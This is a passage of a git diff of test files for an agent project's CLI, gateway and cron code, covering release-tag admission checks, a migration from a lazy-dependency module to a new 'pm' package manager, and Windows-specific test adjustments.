(("cmd", f"{name}.exe"), ("bin", f"{name}.exe"), ("usr", "bin", f"{name}.exe")): + p = git_base.joinpath(*rel) + if p.exists(): + candidates.append(str(p)) + for cand in candidates: + if "windowsapps" not in cand.lower(): + return cand + return candidates[0] + + +def _child_env(**overrides: str) -> dict: + env = os.environ.copy() + if sys.platform == "win32": + env.setdefault("SystemRoot", r"C:\Windows") + env.setdefault("ComSpec", r"C:\Windows\system32\cmd.exe") + env.setdefault("PATHEXT", ".COM;.EXE;.BAT;.CMD") + env.update(overrides) + return env + + +_GIT = _native_tool("git") +_BASH = _native_tool("bash") + + +def _git(*args: str, cwd: Path) -> str: + out = subprocess.run( + [_GIT, *args], cwd=cwd, capture_output=True, text=True, check=True, + env=_child_env(), + ) + return out.stdout.strip() + + +def _seed_repo(root: Path) -> tuple[Path, Path]: + """origin (upstream) + clone (where releases are tagged from). + + origin/main holds a pyproject whose version matches the stable tag, so + the pyproject-lockstep leg of the shape check passes for v0.1.2. + """ + origin = root / "origin" + origin.mkdir() + _git("init", "-b", "main", cwd=origin) + _git("config", "user.email", "ci@example.com", cwd=origin) + _git("config", "user.name", "ci", cwd=origin) + (origin / "pyproject.toml").write_text('[project]\nname = "x"\nversion = "0.1.2"\n', encoding="utf-8") + (origin / "README.md").write_text("seed\n", encoding="utf-8") + _git("add", "-A", cwd=origin) + _git("commit", "-m", "seed", cwd=origin) + + clone = root / "clone" + _git("clone", str(origin), str(clone), cwd=root) + _git("config", "user.email", "ci@example.com", cwd=clone) + _git("config", "user.name", "ci", cwd=clone) + return origin, clone + + +def _run_admission(clone: Path, tag: str) -> subprocess.CompletedProcess: + gh_output = clone / "github_output.txt" + gh_output.write_text("", encoding="utf-8") + env = _child_env( + TAG=tag, + GITHUB_OUTPUT=str(gh_output), + # checkout@v6 runs run-steps with `bash -e -o pipefail`; -e/-o are on + # the command line below, so nothing else is needed from the env. + ) + script = _admission_script() + script_file = clone / "admission.sh" + script_file.write_text(script, encoding="utf-8") + return subprocess.run( + [_BASH, "-e", "-o", "pipefail", str(script_file)], + cwd=clone, + env=env, + capture_output=True, + text=True, + timeout=120, + ) + + +def test_tag_on_origin_main_is_admitted_and_exports_the_full_sha(tmp_path: Path): + _origin, clone = _seed_repo(tmp_path) + _git("tag", "v0.1.2", cwd=clone) + + proc = _run_admission(clone, "v0.1.2") + assert proc.returncode == 0, proc.stdout + proc.stderr + + gh_output = (clone / "github_output.txt").read_text(encoding="utf-8") + expected = _git("rev-parse", "HEAD", cwd=clone) + assert f"sha={expected}" in gh_output + + +def test_tag_not_on_origin_main_is_refused(tmp_path: Path): + _origin, clone = _seed_repo(tmp_path) + # A commit that exists ONLY in the clone — never pushed, never reviewed. + (clone / "rogue.txt").write_text("unreviewed\n", encoding="utf-8") + _git("add", "-A", cwd=clone) + _git("commit", "-m", "rogue", cwd=clone) + _git("tag", "v0.1.3-nightly.20260830120000", cwd=clone) + + proc = _run_admission(clone, "v0.1.3-nightly.20260830120000") + assert proc.returncode != 0, "a tag off origin/main must not be admitted" + assert "not an ancestor of origin/main" in proc.stdout + proc.stderr + # And nothing was exported for the signing jobs to consume. + assert "sha=" not in (clone / "github_output.txt").read_text(encoding="utf-8") + + +def test_malformed_tag_is_refused_before_any_git_work(tmp_path: Path): + _origin, clone = _seed_repo(tmp_path) + proc = _run_admission(clone, "v0.1.2-rc1") + assert proc.returncode != 0 + # Refused at the shape/lockstep legs — either message is a valid refusal. + assert ( + "not a release tag" in proc.stdout + proc.stderr + or "does not match pyproject.toml version" in proc.stdout + proc.stderr + ) diff --git a/tests/compat/old_updater_surface.json b/tests/compat/old_updater_surface.json new file mode 100644 index 0000000000..bee0f7a30e --- /dev/null +++ b/tests/compat/old_updater_surface.json @@ -0,0 +1,162 @@ +{ + "_comment": "Generated by scripts/audit-old-updater-imports.py --freeze. Names an already-running `hermes update` loads from the NEW tree after the checkout swap. Deleting a bare name bricks every release that loads it, mid-update, on a half-new tree. Regenerate after changing the update flow; never hand-trim.", + "stats": { + "mode": "tree", + "files_analyzed": [ + "hermes_cli/post_update.py", + "hermes_cli/update_cmd.py", + "hermes_cli/update_lock.py", + "pm/__init__.py", + "pm/cli.py", + "pm/ensure.py", + "pm/extras.py", + "pm/lock.py", + "pm/package.py", + "pm/packages.py", + "pm/paths.py", + "pm/registry.py", + "pm/store.py" + ] + }, + "bare": [ + "gateway.status::_get_process_start_time", + "gateway.status::_pid_exists", + "gateway.status::terminate_pid", + "hermes_cli._scan_venv_blockers::_is_pausable_gateway", + "hermes_cli.backup::_foreign_db_holder_pids", + "hermes_cli.backup::verify_sqlite_integrity", + "hermes_cli.banner::_github_compare_behind", + "hermes_cli.config::check_config_version", + "hermes_cli.config::get_config_path", + "hermes_cli.config::get_env_path", + "hermes_cli.config::get_missing_config_fields", + "hermes_cli.config::get_missing_env_vars", + "hermes_cli.config::migrate_config", + "hermes_cli.config_migrations::SUPPORT_FLOOR_VERSION", + "hermes_cli.config_migrations::support_floor_message", + "hermes_cli.gateway::_graceful_restart_via_sigusr1", + "hermes_cli.gateway::_launchd_kickstart", + "hermes_cli.gateway::_launchd_service_registered", + "hermes_cli.gateway::_locate_launchd_gateway_service", + "hermes_cli.gateway::_wait_for_launchd_service_pid", + "hermes_cli.gateway::get_launchd_label", + "hermes_cli.gateway::get_launchd_plist_path", + "hermes_cli.gateway::is_macos", + "hermes_cli.gateway::launchd_gateway_labels_for_install", + "hermes_cli.gateway::launchd_restart", + "hermes_cli.gateway::wait_for_launchd_gateway_supervision", + "hermes_cli.gitlock::clear_stale_git_locks", + "hermes_cli.gitlock::clear_stale_tmp_packs", + "hermes_cli.sizefmt::format_bytes", + "hermes_cli.steward::STEWARD_DESKTOP", + "hermes_cli.steward::read_install_stamp", + "hermes_cli.update_channel::CHANNEL_STABLE", + "hermes_cli::boot_bootstrap", + "hermes_cli::main", + "hermes_cli::venv_sync", + "hermes_constants::FIRST_PARTY_MODULE_ROOTS", + "hermes_constants::display_hermes_home", + "hermes_constants::get_default_hermes_root", + "hermes_constants::get_hermes_home", + "hermes_constants::get_process_hermes_home", + "hermes_constants::is_wsl", + "hermes_constants::project_venv_dir", + "hermes_constants::with_hermes_node_path", + "pm.downloader::Download", + "pm.downloader::Source", + "pm.downloader::_OPENER", + "pm.ensure::_facts", + "pm.ensure::_store", + "pm.ensure::env_for", + "pm.ensure::lazy_installs_allowed", + "pm.ensure::sealed", + "pm.ensure::sync_venv", + "pm.ensure::uv", + "pm.lock::Facts", + "pm.package::machine_matches_binary", + "pm.packages::uv_env", + "pm.paths::repo_root", + "pm.registry::get_package", + "pm.store::extract", + "pm::", + "pm::paths", + "tools.skills_sync::sync_skills", + "utils::atomic_json_write" + ], + "guarded_only": [ + "agent::curator", + "gateway.control_socket::pause_gateway_for_update", + "gateway.status::looks_like_gateway_command_line", + "hermes_cli._install_repair::migrate_windows_bin_path", + "hermes_cli._parser::build_top_level_parser", + "hermes_cli._subprocess_compat::", + "hermes_cli.backup::_quick_snapshot_root", + "hermes_cli.backup::create_pre_update_backup", + "hermes_cli.backup::create_pre_update_snapshots_all_profiles", + "hermes_cli.backup::create_quick_snapshot", + "hermes_cli.backup::restore_cron_jobs_all_profiles", + "hermes_cli.backup::restore_cron_jobs_if_emptied", + "hermes_cli.config::", + "hermes_cli.config::get_config_value", + "hermes_cli.config::get_hermes_home", + "hermes_cli.config::load_config", + "hermes_cli.config_defaults::", + "hermes_cli.config_migrations::", + "hermes_cli.dashboard_procs::", + "hermes_cli.gateway::GATEWAY_LOOP_WEDGED", + "hermes_cli.gateway::_capture_gateway_argv", + "hermes_cli.gateway::_ensure_user_systemd_env", + "hermes_cli.gateway::_escalate_wedged_gateway", + "hermes_cli.gateway::_find_legacy_hermes_units", + "hermes_cli.gateway::_get_restart_drain_timeout", + "hermes_cli.gateway::_get_restart_exit_wait_budget", + "hermes_cli.gateway::_get_service_pids", + "hermes_cli.gateway::_prepare_profile_gateway_update_restart", + "hermes_cli.gateway::_wait_for_gateway_exit", + "hermes_cli.gateway::find_gateway_pids", + "hermes_cli.gateway::find_profile_gateway_processes", + "hermes_cli.gateway::find_windows_gateway_services", + "hermes_cli.gateway::has_legacy_hermes_units", + "hermes_cli.gateway::is_windows", + "hermes_cli.gateway::kill_gateway_processes", + "hermes_cli.gateway::launch_detached_gateway_restart_by_cmdline", + "hermes_cli.gateway::launch_detached_profile_gateway_restart", + "hermes_cli.gateway::probe_gateway_loop_liveness", + "hermes_cli.gateway::supports_systemd_services", + "hermes_cli.memory_setup::_install_dependencies", + "hermes_cli.model_catalog::seed_cache_from_checkout", + "hermes_cli.process_identity::REAPABLE_PURPOSES", + "hermes_cli.process_identity::ledger_entries", + "hermes_cli.process_identity::spawner_is_dead", + "hermes_cli.profiles::_PROFILE_ID_RE", + "hermes_cli.profiles::_get_profiles_root", + "hermes_cli.profiles::backfill_profile_envs", + "hermes_cli.profiles::list_profiles", + "hermes_cli.profiles::seed_profile_skills", + "hermes_cli.tools_config::install_cua_driver", + "hermes_cli.update_channel::resolve_update_channel", + "hermes_cli.update_inventory::collect_runtime_inventory", + "hermes_cli.update_inventory::match_runtime_outcomes", + "hermes_cli.update_inventory::record_plan_in_receipt", + "hermes_cli.update_inventory::report_unaccounted_runtimes", + "hermes_cli.update_receipt::", + "hermes_cli.update_receipt::begin_update_receipt", + "hermes_cli.update_receipt::collect_fleet_versions", + "hermes_cli.update_receipt::finalize_update_receipt", + "hermes_cli.update_receipt::print_fleet_version_matrix", + "hermes_cli.update_receipt::read_latest_receipt", + "hermes_cli.update_receipt::record_gateway_restart", + "hermes_cli.update_receipt::record_step", + "hermes_cli.version_info::get_code_identity", + "hermes_cli::gateway_windows", + "hermes_cli::tools_config", + "hermes_constants::", + "hermes_constants::reset_hermes_home_override", + "hermes_constants::set_hermes_home_override", + "hermes_state::SessionDB", + "plugins.memory.honcho.cli::sync_honcho_profiles_quiet", + "pm.extras::", + "tools.browser_tool::warm_agent_browser_npx_cache", + "tools.environments.local::" + ] +} diff --git a/tests/conftest.py b/tests/conftest.py index 56c92149fb..baa4bf6475 100644 --- a/tests/conftest.py +++ b/tests/conftest.py @@ -533,14 +533,14 @@ def _hermetic_environment(tmp_path, monkeypatch): # should never perform that implicit network/bootstrap path; Tirith-specific # tests opt back in by patching the security config directly. monkeypatch.setenv("TIRITH_ENABLED", "false") - # Lazy feature deps (tools/lazy_deps.py) pip-install on demand by design — + # On-demand extras (pm.sync_venv) install mid-test-run by design — # _allow_lazy_installs() fails open for users. Unit tests must never reach # pip/the network: with the SDK absent, any agent init whose tool checks # touch a lazy feature (e.g. check_tts_requirements → # ensure("tts.elevenlabs")) spawns a real pip install — which hangs to the # suite timeout under tests that set fake proxy env vars. The kill-switch # makes ensure() raise FeatureUnavailable immediately instead. - # tests/tools/test_lazy_deps.py overrides this var in both directions. + # extras tests override this var in both directions. monkeypatch.setenv("HERMES_DISABLE_LAZY_INSTALLS", "1") # 5. Reset plugin singleton so tests don't leak plugins from diff --git a/tests/cron/test_cron_script.py b/tests/cron/test_cron_script.py index 5c51134d25..0688e0a848 100644 --- a/tests/cron/test_cron_script.py +++ b/tests/cron/test_cron_script.py @@ -135,27 +135,49 @@ class TestRunJobScript: @pytest.mark.windows_only def test_windows_uv_venv_python_script_bypasses_launcher(self, cron_env, tmp_path, monkeypatch): - # Windows-only: the fake ``sys.platform`` could not reproduce the - # ``Scripts/python.exe`` launcher layout or the CREATE_NO_WINDOW - # creationflags this branch exists for. + # Windows-only: the real ``Scripts/python.exe`` launcher layout and + # CREATE_NO_WINDOW creationflags this branch exists for cannot be + # reproduced with a patched ``sys.platform``. from cron import scheduler as sched_mod from cron.scheduler import _run_job_script script = cron_env / "scripts" / "probe.py" script.write_text('print("ok")\n') - venv = tmp_path / "venv" - venv_scripts = venv / "Scripts" + # pm bundled-install layout: store + manifest + relocatable venv, + # with facts recording both the venv and the staged interpreter. + payload = tmp_path / "payload" + store = payload / "tools" + venv = payload / "venv" site_packages = venv / "Lib" / "site-packages" - base = tmp_path / "base" - venv_scripts.mkdir(parents=True) + python_entry = store / "python-3.11.13" site_packages.mkdir(parents=True) - base.mkdir() - venv_python = venv_scripts / "python.exe" - base_python = base / "python.exe" - venv_python.write_text("", encoding="utf-8") + python_entry.mkdir(parents=True) + base_python = python_entry / "python.exe" base_python.write_text("", encoding="utf-8") - (venv / "pyvenv.cfg").write_text(f"home = {base}\nuv = true\n", encoding="utf-8") + (payload / "manifest.json").write_text("{}", encoding="utf-8") + (store / "facts.json").write_text( + json.dumps( + { + "schema": 1, + "packages": { + "venv": {"stamp": "abc", "extras": []}, + "python": {"entry": "python-3.11.13", "version": "3.11.13"}, + }, + } + ), + encoding="utf-8", + ) + monkeypatch.setenv("HERMES_RUNTIME_DIR", str(store)) + # No ambient VIRTUAL_ENV anywhere: resolution must come from pm. + monkeypatch.delenv("VIRTUAL_ENV", raising=False) + + # The launcher the gateway hands over (a venv python) — the invocation + # must swap it for the pm store python. + venv_scripts = venv / "Scripts" + venv_scripts.mkdir(parents=True) + venv_python = venv_scripts / "python.exe" + venv_python.write_text("", encoding="utf-8") captured = {} diff --git a/tests/cron/test_cron_workdir.py b/tests/cron/test_cron_workdir.py index 284675de89..3420f5a10b 100644 --- a/tests/cron/test_cron_workdir.py +++ b/tests/cron/test_cron_workdir.py @@ -13,6 +13,7 @@ Covers: from __future__ import annotations import json +import sys import pytest @@ -47,7 +48,9 @@ class TestNormalizeWorkdir: def test_tilde_expands(self, tmp_path, monkeypatch): from cron.jobs import _normalize_workdir - monkeypatch.setenv("HOME", str(tmp_path)) + # expanduser keys off USERPROFILE on native Windows, HOME elsewhere. + home_var = "USERPROFILE" if sys.platform == "win32" else "HOME" + monkeypatch.setenv(home_var, str(tmp_path)) result = _normalize_workdir("~") assert result == str(tmp_path.resolve()) diff --git a/tests/cron/test_file_permissions.py b/tests/cron/test_file_permissions.py index 20f57a82b7..f7fbb7357a 100644 --- a/tests/cron/test_file_permissions.py +++ b/tests/cron/test_file_permissions.py @@ -1,12 +1,25 @@ -"""Tests for file permissions hardening on sensitive files.""" +"""Tests for file permissions hardening on sensitive files. + +POSIX permission bits (0700/0600) are only meaningful on POSIX filesystems; +native Windows does not implement them, so these tests are host-gated (the +repo's host-native rule: never fake the platform). +""" import os import stat +import sys import tempfile import unittest from pathlib import Path from unittest.mock import patch +import pytest + +pytestmark = pytest.mark.skipif( + sys.platform == "win32", + reason="POSIX permission bits are not implemented on native Windows", +) + class TestCronFilePermissions(unittest.TestCase): """Verify cron files get secure permissions.""" diff --git a/tests/cron/test_media_delivery_parity.py b/tests/cron/test_media_delivery_parity.py index 8e6a6dd70d..b832124842 100644 --- a/tests/cron/test_media_delivery_parity.py +++ b/tests/cron/test_media_delivery_parity.py @@ -231,7 +231,7 @@ class TestMediaPolicyEnvBridge: (home / "config.yaml").write_text( "gateway:\n" " strict: true\n" - f" media_delivery_allow_dirs: [{str(allow_dir)!r}]\n" + f" media_delivery_allow_dirs: ['{str(allow_dir)}']\n" " trust_recent_files: false\n" ) monkeypatch.setenv("HERMES_HOME", str(home)) diff --git a/tests/cron/test_script_claim_heartbeat.py b/tests/cron/test_script_claim_heartbeat.py index da393b3ee3..02116eb76a 100644 --- a/tests/cron/test_script_claim_heartbeat.py +++ b/tests/cron/test_script_claim_heartbeat.py @@ -10,23 +10,68 @@ from unittest.mock import MagicMock, patch import pytest +_SPAWNABLE_PY: "str | None" = None + + +def _spawnable_python() -> str: + global _SPAWNABLE_PY + if _SPAWNABLE_PY is not None: + return _SPAWNABLE_PY + + """An interpreter that can actually CreateProcess children. The hermetic + runner's sys.executable can be an emulated x64 binary on an arm64 host + (WinError 5 on every spawn); the WindowsApps packaged python works by + full path. Falls back to sys.executable.""" + import os + import subprocess as sp + + for cand in (os.environ.get("HERMES_TEST_PYTHON"), sys.executable): + if not cand: + continue + try: + # The candidate must run AND spawn its own child — these tests + # execute scripts that Popen grandchildren, and an emulated + # interpreter can run -c while its own subprocess.Popen fails. + r = sp.run( + [cand, "-c", "import subprocess; subprocess.run(['cmd','/c','exit 0'] if __import__('os').name=='nt' else ['true'])"], + capture_output=True, timeout=30, + ) + if r.returncode == 0: + _SPAWNABLE_PY = cand + return cand + except Exception: + continue + _SPAWNABLE_PY = sys.executable + return _SPAWNABLE_PY + + + def test_cancel_event_terminates_script_process_tree(tmp_path, monkeypatch): """Losing a fire claim must stop both the script and its descendants.""" import cron.scheduler as scheduler monkeypatch.setattr(scheduler, "_get_hermes_home", lambda: tmp_path) + # Under the hermetic runner sys.executable can be an emulated binary + # whose children fail to spawn; cron resolves the script interpreter + # from sys.executable, so pin it to one that actually works here. + monkeypatch.setattr(scheduler.sys, "executable", _spawnable_python()) scripts_dir = tmp_path / "scripts" scripts_dir.mkdir() + PY = _spawnable_python() # interpreter the spawned script uses for grandchildren started = tmp_path / "started" child_done = tmp_path / "child-done" script = scripts_dir / "blocking.py" child_code = ( "import time; from pathlib import Path; " - f"time.sleep(1); Path({str(child_done)!r}).write_text('done')" + # Long sleep: the descendant must outlive the tree-kill's worst-case + # latency under load — child_done within the assertion window can + # then ONLY mean the kill missed it, never that it finished on its + # own (which a 1s sleep would allow under 36-way CPU contention). + f"time.sleep(10); Path({str(child_done)!r}).write_text('done')" ) script.write_text( "import subprocess, sys, time\n" - f"subprocess.Popen([sys.executable, '-c', {child_code!r}])\n" + f"subprocess.Popen([{PY!r}, '-c', {child_code!r}])\n" f"open({str(started)!r}, 'w').close()\n" "time.sleep(30)\n", encoding="utf-8", @@ -50,14 +95,18 @@ def test_cancel_event_terminates_script_process_tree(tmp_path, monkeypatch): thread = threading.Thread(target=_run) thread.start() - deadline = time.monotonic() + 5 + # Generous deadline: under 36-way parallel load the spawned + # interpreter's cold start can exceed 5s on first attempt. + deadline = time.monotonic() + 15 while not started.exists() and not errors and time.monotonic() < deadline: time.sleep(0.01) assert errors == [] assert started.exists(), "script did not start" cancel.set() - thread.join(timeout=3) + # The tree-kill (taskkill /T under load) can take several seconds when + # 36 parallel test workers compete for the CPU — generous join bound. + thread.join(timeout=15) assert errors == [] assert not thread.is_alive(), "script ignored cancellation" @@ -75,8 +124,13 @@ def test_cancel_event_kills_sigterm_ignoring_descendant(tmp_path, monkeypatch): import cron.scheduler as scheduler monkeypatch.setattr(scheduler, "_get_hermes_home", lambda: tmp_path) + # Under the hermetic runner sys.executable can be an emulated binary + # whose children fail to spawn; cron resolves the script interpreter + # from sys.executable, so pin it to one that actually works here. + monkeypatch.setattr(scheduler.sys, "executable", _spawnable_python()) scripts_dir = tmp_path / "scripts" scripts_dir.mkdir() + PY = _spawnable_python() # interpreter the spawned script uses for grandchildren started = tmp_path / "started" script = scripts_dir / "stubborn.py" child_code = ( @@ -87,7 +141,7 @@ def test_cancel_event_kills_sigterm_ignoring_descendant(tmp_path, monkeypatch): ) script.write_text( "import subprocess, sys, time\n" - f"subprocess.Popen([sys.executable, '-c', {child_code!r}])\n" + f"subprocess.Popen([{PY!r}, '-c', {child_code!r}])\n" "time.sleep(60)\n", encoding="utf-8", ) @@ -110,7 +164,9 @@ def test_cancel_event_kills_sigterm_ignoring_descendant(tmp_path, monkeypatch): thread = threading.Thread(target=_run) thread.start() - deadline = time.monotonic() + 5 + # Generous deadline: under 36-way parallel load the spawned + # interpreter's cold start can exceed 5s on first attempt. + deadline = time.monotonic() + 15 while not started.exists() and not errors and time.monotonic() < deadline: time.sleep(0.01) assert errors == [] @@ -533,7 +589,11 @@ def test_repeated_heartbeat_errors_cancel_after_bounded_grace(monkeypatch): monkeypatch.setattr(scheduler, "heartbeat_fire_claim", heartbeat) monkeypatch.setattr(scheduler, "_run_one_job_body", run_body) monkeypatch.setattr(scheduler, "_RUN_CLAIM_HEARTBEAT_SECONDS", 0.01) - monkeypatch.setattr(scheduler, "_FIRE_CLAIM_HEARTBEAT_GRACE_SECONDS", 0.03) + # Generous grace (30x the interval, not 3x): the heartbeat thread competes + # with 36-way parallel test workers for the GIL/CPU; a couple of slow + # ticks must not cancel before the run body's 0.5s wait completes + # (loose-bounds rule for timing-sensitive tests). + monkeypatch.setattr(scheduler, "_FIRE_CLAIM_HEARTBEAT_GRACE_SECONDS", 0.3) assert scheduler.run_one_job(job) is True assert calls >= 3 diff --git a/tests/gateway/test_discord_voice_mixer.py b/tests/gateway/test_discord_voice_mixer.py index d3686fbf93..2f8962482a 100644 --- a/tests/gateway/test_discord_voice_mixer.py +++ b/tests/gateway/test_discord_voice_mixer.py @@ -13,7 +13,7 @@ from unittest.mock import AsyncMock, MagicMock, patch import pytest -# numpy ships only in the optional "voice" extra (not [all,dev]); the mixer +# numpy ships only in the optional "audio-io" extra (not [all,dev]); the mixer # math needs it, so skip this whole module when it isn't installed. np = pytest.importorskip("numpy") diff --git a/tests/gateway/test_feishu_lazy_import.py b/tests/gateway/test_feishu_lazy_import.py index 5f70643205..15df49c570 100644 --- a/tests/gateway/test_feishu_lazy_import.py +++ b/tests/gateway/test_feishu_lazy_import.py @@ -20,12 +20,12 @@ def test_configured_feishu_dependency_check_does_not_load_sdk(): with ( patch.object(feishu_adapter, "FEISHU_AVAILABLE", False), - patch("tools.lazy_deps.ensure", autospec=True) as ensure, + patch("pm.ensure_import", autospec=True) as ensure, ): assert feishu_adapter.check_feishu_requirements() is True assert feishu_adapter.FEISHU_AVAILABLE is False - ensure.assert_called_once_with("platform.feishu", prompt=False) + ensure.assert_called_once_with("feishu") def test_feishu_connect_loads_sdk_on_worker_thread(): diff --git a/tests/gateway/test_matrix.py b/tests/gateway/test_matrix.py index 4c02c9385b..9d8032c99c 100644 --- a/tests/gateway/test_matrix.py +++ b/tests/gateway/test_matrix.py @@ -774,7 +774,7 @@ class TestMatrixModuleImport: " if k.startswith('mautrix'): del sys.modules[k]\n" "from unittest.mock import patch\n" "from plugins.platforms.matrix.adapter import check_matrix_requirements\n" - "with patch('tools.lazy_deps.ensure', side_effect=ImportError('blocked')):\n" + "with patch('pm.extras.ensure_import', side_effect=ImportError('blocked')):\n" " assert not check_matrix_requirements()\n" "print('OK')\n" )], @@ -796,7 +796,7 @@ class TestMatrixRequirements: import plugins.platforms.matrix.adapter as matrix_mod with patch.object(matrix_mod, "_check_e2ee_deps", return_value=False), \ - patch("tools.lazy_deps.feature_missing", return_value=()): + patch("pm.extras.missing", return_value=()): assert matrix_mod.check_matrix_requirements() is False def test_check_requirements_e2ee_optional_no_deps_ok(self, monkeypatch): @@ -808,8 +808,8 @@ class TestMatrixRequirements: import plugins.platforms.matrix.adapter as matrix_mod with patch.object(matrix_mod, "_check_e2ee_deps", return_value=False), \ - patch("tools.lazy_deps.feature_missing", return_value=()), \ - patch("tools.lazy_deps.ensure_and_bind", return_value=True): + patch("pm.extras.missing", return_value=()), \ + patch("pm.extras.ensure_and_bind", return_value=True): assert matrix_mod.check_matrix_requirements() is True def test_check_requirements_encryption_false_no_e2ee_deps_ok(self, monkeypatch): @@ -820,7 +820,7 @@ class TestMatrixRequirements: import plugins.platforms.matrix.adapter as matrix_mod with patch.object(matrix_mod, "_check_e2ee_deps", return_value=False), \ - patch("tools.lazy_deps.feature_missing", return_value=()): + patch("pm.extras.missing", return_value=()): assert matrix_mod.check_matrix_requirements() is True def test_check_requirements_encryption_true_with_e2ee_deps(self, monkeypatch): @@ -831,7 +831,7 @@ class TestMatrixRequirements: import plugins.platforms.matrix.adapter as matrix_mod with patch.object(matrix_mod, "_check_e2ee_deps", return_value=True), \ - patch("tools.lazy_deps.feature_missing", return_value=()): + patch("pm.extras.missing", return_value=()): assert matrix_mod.check_matrix_requirements() is True def test_check_e2ee_deps_requires_asyncpg(self, monkeypatch): @@ -894,11 +894,11 @@ class TestMatrixRequirements: def _fake_ensure_and_bind(feature, importer, target_globals, **kwargs): called["ensure_and_bind"] = True - assert feature == "platform.matrix" + assert feature == "matrix" return True # Pretend install succeeded. - with patch("tools.lazy_deps.feature_missing", return_value=("asyncpg==0.31.0",)), \ - patch("tools.lazy_deps.ensure_and_bind", side_effect=_fake_ensure_and_bind): + with patch("pm.extras.missing", return_value=("asyncpg==0.31.0",)), \ + patch("pm.extras.ensure_and_bind", side_effect=_fake_ensure_and_bind): matrix_mod.check_matrix_requirements() assert called["ensure_and_bind"], ( diff --git a/tests/gateway/test_matrix_plugin_setup.py b/tests/gateway/test_matrix_plugin_setup.py index c5aac153d4..14403141fd 100644 --- a/tests/gateway/test_matrix_plugin_setup.py +++ b/tests/gateway/test_matrix_plugin_setup.py @@ -3,13 +3,14 @@ The interactive_setup wizard lazy-imports its CLI helpers from ``hermes_cli.config`` (get_env_value / save_env_value / remove_env_value), ``hermes_cli.cli_output`` (prompt / prompt_yes_no / print_*), and -``tools.lazy_deps`` (mautrix ensure). We patch each at its source module so +``pm`` (mautrix ensure_import). We patch each at its source module so the wizard runs without touching pip or the network. Covers the home-channel clear-on-blank behavior added in the follow-up to PR #58421. """ import hermes_cli.config as config_mod import hermes_cli.cli_output as cli_output_mod -import tools.lazy_deps as lazy_deps_mod +import pm as pm_mod +import pm.extras as pm_extras_mod from plugins.platforms.matrix.adapter import interactive_setup @@ -31,8 +32,9 @@ def _patch_setup_io(monkeypatch, prompts, yes_no_responses, saved, removed, exis for name in ("print_header", "print_info", "print_success", "print_warning"): monkeypatch.setattr(cli_output_mod, name, lambda *_a, **_kw: None) # Block the auto-install path so the test never invokes pip. - monkeypatch.setattr(lazy_deps_mod, "feature_missing", lambda feature: ()) - monkeypatch.setattr(lazy_deps_mod, "ensure", lambda *a, **kw: None) + monkeypatch.setattr(pm_extras_mod, "missing", lambda extra: ()) + monkeypatch.setattr(pm_mod, "ensure_import", lambda *a, **kw: None) + monkeypatch.setattr(pm_extras_mod, "ensure_import", lambda *a, **kw: None) # Matrix prompts (after the E2EE yes_no): allowed_users, home_channel. diff --git a/tests/gateway/test_pm_activation.py b/tests/gateway/test_pm_activation.py new file mode 100644 index 0000000000..ed85dc8231 --- /dev/null +++ b/tests/gateway/test_pm_activation.py @@ -0,0 +1,120 @@ +"""Gateway main() must run the pm startup contract (gateway/run.py). + +The gateway daemon boots via its own entrypoint and never passes through the +CLI dispatch in hermes_cli/main.py — without an explicit call here the +gateway's os.environ PATH would lack the pm store's tool dirs (git/bash/ +ffmpeg/...), so every reactive ``shutil.which`` inside the daemon resolves +system binaries (or nothing) instead of the pinned store ones. + +Behavior contract (mirrors the CLI-dispatch block, hermes_cli/main.py): +- healthy store → ``pm.activate()`` provisions PATH +- out-of-sync store → warning, boot continues (never blocks) +- pm import/lookup failure → debug-logged, boot continues +""" + +from __future__ import annotations + +import os +from unittest.mock import patch + +import pytest + + +@pytest.fixture +def gateway_main(monkeypatch, tmp_path): + """Import gateway.run.main with the heavy boot machinery neutralized.""" + # The real main() advertises env vars, registers process identity, runs + # boot bootstrap, and FORCE-EXITS via _exit_after_graceful_shutdown + # (os._exit — wedge-proof by design, #53107) — none of it is what we + # assert on. Neutralize the exit + the async boot; keep the pm block's + # imports real. + import gateway.run as gr + + async def _no_gateway(_config=None, **_kwargs): + return True + + exited: list[int] = [] + + def _fake_exit(code): + exited.append(code) + + monkeypatch.setattr(gr, "start_gateway", _no_gateway) + monkeypatch.setattr(gr, "_exit_after_graceful_shutdown", _fake_exit) + monkeypatch.setattr( + "hermes_cli.boot_bootstrap.maybe_run_boot_bootstrap", lambda _root: None + ) + + def _main(): + gr.main() + return exited + + return _main + + +def test_gateway_main_activates_pm_store(gateway_main, tmp_path, monkeypatch): + """A healthy store: main() provisions PATH before starting adapters.""" + calls: list[str] = [] + + class _FakePm: + @staticmethod + def adopt(): + calls.append("adopt") + + @staticmethod + def check(): + calls.append("check") + return [] # healthy + + @staticmethod + def activate(): + calls.append("activate") + + import sys + + monkeypatch.setitem(sys.modules, "pm", _FakePm) + with patch("sys.argv", ["gateway"]): + gateway_main() + assert calls == ["adopt", "check", "activate"] + + +def test_gateway_main_warns_but_boots_when_store_out_of_sync( + gateway_main, monkeypatch, caplog +): + """An out-of-sync store surfaces a warning and NEVER blocks the boot.""" + + class _FakePm: + @staticmethod + def adopt(): + pass + + @staticmethod + def check(): + return ["uv not installed", "ffmpeg outdated"] + + @staticmethod + def activate(): + raise AssertionError("activate must not run on a broken store") + + import sys + + monkeypatch.setitem(sys.modules, "pm", _FakePm) + with patch("sys.argv", ["gateway"]): + gateway_main() + assert any( + "install out of sync" in rec.message for rec in caplog.records + ), "the out-of-sync warning must be logged" + + +def test_gateway_main_survives_pm_failure(gateway_main, monkeypatch): + """A broken pm import is debug-logged; the gateway still boots.""" + + class _ExplodingPm: + @staticmethod + def adopt(): + raise RuntimeError("pm exploded") + + import sys + + monkeypatch.setitem(sys.modules, "pm", _ExplodingPm) + with patch("sys.argv", ["gateway"]): + gateway_main() # must not raise diff --git a/tests/gateway/test_teams.py b/tests/gateway/test_teams.py index 8f96b4717a..152173506c 100644 --- a/tests/gateway/test_teams.py +++ b/tests/gateway/test_teams.py @@ -179,7 +179,7 @@ def _bind_mock_sdk(feature, importer, target_globals, **kwargs): return True -with patch("tools.lazy_deps.ensure_and_bind", _bind_mock_sdk): +with patch("pm.extras.ensure_and_bind", _bind_mock_sdk): assert _teams_mod.check_teams_requirements() is True _teams_mod.TEAMS_SDK_AVAILABLE = True @@ -230,14 +230,14 @@ class TestTeamsRequirements: return True monkeypatch.setattr( - "tools.lazy_deps.ensure_and_bind", _fake_ensure_and_bind + "pm.extras.ensure_and_bind", _fake_ensure_and_bind ) assert check_teams_requirements() is True assert called["ensure_and_bind"] == 0 def test_check_teams_requirements_lazy_installs_when_missing(self, monkeypatch): # When deps are missing, the active installer delegates to - # ensure_and_bind("platform.teams", ...) — parity with Slack/Discord. + # 